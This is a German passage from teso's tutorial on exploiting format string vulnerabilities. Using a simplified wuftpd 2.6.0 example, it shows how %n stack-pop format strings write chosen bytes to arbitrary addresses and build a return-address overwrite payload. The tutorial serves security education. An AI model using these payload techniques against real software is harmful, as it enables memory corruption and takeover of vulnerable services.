(c) teso. all rights reversed.
exploiting format string vulnerabilities - Exploiting

Exploiting

zum Beispiel ähnlich wuftpd 2.6.0 (vereinfacht, prinzipiell gleich):
{
        char    buffer[512];

        snprintf (buffer, sizeof (buffer), user);
        buffer[sizeof (buffer) - 1] = '\0';
}
Hierbei ist es nicht möglich den Format-String zu "strecken", und somit aus dem buffer heraus zu kommen. Dennoch können wir das Verhalten der Format Funktion bedingt steuern.
Es schaut erst so aus, als wäre nicht allzuviel möglich, ausser einen Absturz zu erzeugen oder Teile des Speichers zu inspizieren.

Erinnern wir uns an den "%n" Format Parameter. Er erlaubt es uns an die Adresse die durch den aktuellen Stack Parameters angegeben wird, eine Integer Zahl zu schreiben: Die Anzahl der bereits durch die format-Funktion geschriebenen Bytes.
        int     i;

        printf ("foobar%n\n", (int *) &i);
        printf ("i = %d\n", i);

Würde also "i = 6" ausgeben. Mit demselben Prinzip ("stack-pop") wie oben beim Auslesen beliebiger Adressen, können wir sogar an beliebige Speicherstellen schreiben:

"AAA0_%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n"

Dabei arbeiten wir uns mit Hilfe der "%08x" Parameter im Stack hoch. Wenn das "%n" beim Parsen erreicht wird, zeigt der aktuelle-Parameter-Zeiger der format-Funktion genau auf den Beginn unseres Format Strings, der ja selber auch auf dem Stack liegt.
Das "%n" schreibt nun an die Adresse 0x30414141, die in Stringform identisch mit "AAA0" ist. Dies hat natürlich einen Absturz zur Folge, da die Adresse nicht beschreibbar ist. Würden wir jedoch dafür zum Beispiel eine Stackadresse einfügen, so überschreiben wir vier Bytes auf dem Stack:

"\xc0\xc8\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n"

Überschreibt 0xbfffc8c0 mit einer kleinen Integer Zahl. Wir haben also bereits ein sehr entscheidenes Teilziel erreicht: Wir können an beliebige Speicheradressen schreiben. Leider können wir noch nicht kontrollieren was wir schreiben, doch auch das soll sich noch ändern :-)

Wir können die Zahl die geschrieben wird, ja in geringem Masse beeinflussen, indem wir die Anzahl der Zeichen, die von der format-Funktion geschrieben werden, beeinflussen:
        int     a;
        printf ("%10u%n", 7350, &a);
        /* a == 10 */

        int     a;
        printf ("%150u%n", 7350, &a);
        /* a == 150 */
Doch was bringt es uns eine beliebige kleine Zahl an beliebige Stellen im Speicher zu schreiben ?

Eine Integer Zahl besteht bei der x86 CPU aus vier Bytes. Von diesen vier können wir mindestens eins vollständig kontrollieren (das least-significant Byte).
So wird zum Beispiel 0x0000014c im Speicher abgelegt als: "\x4c\x01\x00\x00". Das \x4c ist von uns "frei" wählbar, indem wir mit extra %<n>u Parametern den Zähler der bereits geschriebenen Bytes erhöhen.

Beispiel:
        unsigned char   foo[4];
        printf ("%64u%n", 7350, (int *) foo);
Danach ist foo[0] == '\x40' == '\100'.

Doch überschreiben wir eine Adresse sind vier Bytes beliebig zu setzen. Also ist es uns noch nicht möglich alle vier Bytes zu kontrollieren, wenn wir eine Rücksprungadresse überschreiben wollen. Doch im Gegensatz zu den meisten RISC-Architekturen ist es uns auf dem x86 möglich, auch "misaligned" Write-Zugriffe durchzuführen. Das heisst im Klartext:
Wir können viermal schreiben, jeweils ein Byte (four-time-write.c):
        unsigned char   carnary[5];
        unsigned char   foo[4];

        strcpy (carnary, "AAAA");
        printf ("%16u%n", 7350, (int *) &foo[0]);
        printf ("%32u%n", 7350, (int *) &foo[1]);
        printf ("%64u%n", 7350, (int *) &foo[2]);
        printf ("%128u%n", 7350, (int *) &foo[3]);

        printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]);
        printf ("carnary: %02x%02x%02x%02x\n", carnary[0], carnary[1],
                carnary[2], carnary[3]);
Wir haben alle vier Bytes des foo Arrays beliebig überschrieben, dabei aber Teile des carnaries zerstört. Das carnary Array dient hierbei nur dazu, genauer zu sehen, welche Auswirkungen der "%n" Parameter hat.

Auch wenn es etwas umständlich aussieht, ist es uns möglich beliebige Daten an beliebige Adressen zu schreiben. Wir verwenden zum Verständnis noch mehrere format-Aufrufe, man kann dies aber ebenso auch in einem einzigen unterbringen (four-time-in-one.c):
        strcpy (carnary, "AAAA");
        printf ("%16u%n%16u%n%32u%n%64u%n", 1, (int *) &foo[0],
                1, (int *) &foo[1], 1, (int *) &foo[2], 1, (int *) &foo[3]);

        printf ("%02x%02x%02x%02x\n", foo[0], foo[1], foo[2], foo[3]);
        printf ("carnary: %02x%02x%02x%02x\n", carnary[0], carnary[1],
                carnary[2], carnary[3]);
Dabei verwenden wir die 1'sen als Dummy Parameter für unsere %u Anweisungen. Auch das Padding hat sich verändert, von 32 beim zweiten Paramter zu 16. Dies liegt daran, weil wir schon 16 Bytes geschrieben haben, wenn wir das zweite "%16u" erreichen, und der printf-interne Zähler schon auf 16 steht. 16 + 16 ergibt somit 32, die Zahl, die wir schreiben wollen.

Das einzige was noch fehlt um praktisch zu Exploiten ist, dass wir die Parameter in die richtige Reihenfolge und Position bringen. Die Reihenfolge stimmt schon, die Position kann mit Hilfe eines "stack-pop"'s korrigiert werden. Dann sieht der Buffer so aus:

<stackpop><dummy-addr-pair * 4><write-code>

<stackpop> = %u um sich im Stack "hochzuarbeiten"
<dummy-addr-pair> = 0x73507350, 0xbfffd20c
<write-code> = %...u%n, um ein Byte zu schreiben.

Bei den vier dummy-addr-pair's wird die Adresse jeweils um eins erhöht, so dass wir insgesammt vier Bytes überschreiben.

Der write-code muss jedoch abgeändert werden, da schon Zeichen (nämlich die vom stackpop) ausgegeben worden sind, wenn die format-Funktion den write-code parsed.

Die Adresse, an die wir schreiben wird "Return Address Location" (kurz: retloc), die Adresse, die wir erzeugen "Return Address" (kurz: retaddr) genannt.

<< - < - > - >>